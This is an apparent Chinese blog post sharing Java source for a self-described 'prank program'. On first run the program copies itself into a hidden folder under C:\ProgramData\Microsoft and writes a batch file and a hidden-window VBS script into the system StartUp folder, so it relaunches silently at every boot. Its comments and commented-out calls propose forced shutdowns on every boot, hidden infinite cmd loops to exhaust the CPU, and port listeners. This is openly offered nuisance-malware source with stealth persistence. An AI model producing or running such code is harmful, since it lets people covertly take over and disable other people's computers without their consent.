java恶搞程序半成品,打开将程序本身写到c盘隐藏,并设置开机启动项。可无限开机,可加影藏cmd while死循环 卡爆cpu


import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;


/**
 * * shutdown -s -t 60 60秒后关机
 * * shutdown -s -t 3600 1小时后关机
 * * logoff 注销命令
 * * tsshutdn 60秒后关机
 * * shutdown -s -f 强制关机
 * * shutdown -s -t 时间
 * * shutdown -a 取消 关机命令
 *
 * @author silence
 * 将程序影藏在 C:\ProgramData\Microsoft  下的自定义silence文件夹
 */
public class Silence1 {
    /**
     * 程序存储的文件位置 和bat
     */
    private static final File SILENCE_FILE = new File("C:\\ProgramData\\Microsoft\\silence");
    /**
     * 开机启动项存放 vbs 的位置
     */
    private static final File START_FILE = new File("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\start.vbs");

    static {
        if (!SILENCE_FILE.exists()) {
            boolean mkdirs = SILENCE_FILE.mkdirs();
        }
    }

    public static void main(String[] args) throws Exception {
        //如果不是第一次启动本软件
        if (!START_FILE.exists()) {
            //程序运行的时候复制自身class文件到指定文件夹
            copySilence();
            //写bat启动项文件
            batStart();
            //写vbs系统自启动项
            vbsStart();
        }
        //写个关机命令
        shutdown();
        //可以在这开个TCP或者UDP端口监听该用什么方法
        //每次开机后会打开此程序  可以写关机每次开机后会自动关机  重复打开cmd卡死  循环写文件到桌面
        //可以启动TCP 或UDP形式监听端口
        //写注册表
        //运行cmd命令
    }

    /**
     * 关机命令
     */
    private static void shutdown() throws Exception {
        //60s 后关机
        // Runtime.getRuntime().exec("shutdown -s -t 60");
        //取消关机命令
        // Runtime.getRuntime().exec("shutdown -a");
        // 强制关机
        //  Runtime.getRuntime().exec("shutdown -s -f");
    }

    /**
     * 写vbs系统自启动项
     */
    private static void vbsStart() throws Exception {
        FileOutputStream out = new FileOutputStream(START_FILE);
        String str1 = "set ws=wscript.createobject(\"wscript.shell\")";
        String str2 = "ws.run \"C:/ProgramData/Microsoft/silence/start.bat" + " /start\",0";
        out.write(str1.getBytes());
        out.write("\r\n".getBytes());
        out.write(str2.getBytes());
        out.close();
    }

    /**
     * 写bat启动class文件
     */
    private static void batStart() throws Exception {
        FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\start.bat");
        String str = "java Silence1";
        out.write(str.getBytes());
        out.close();
    }

    /**
     * 启动后写到C盘   启动文件
     */
    private static void copySilence() throws Exception {
        FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\Silence1.class");
        FileInputStream input = new FileInputStream("Silence1.class");
        byte[] bytes = new byte[1024];
        int length = 0;
        while ((length = input.read(bytes)) != -1) {
            out.write(bytes, 0, length);
            out.flush();
        }
        out.close();
        input.close();
    }
}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Silence丶你的名字

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值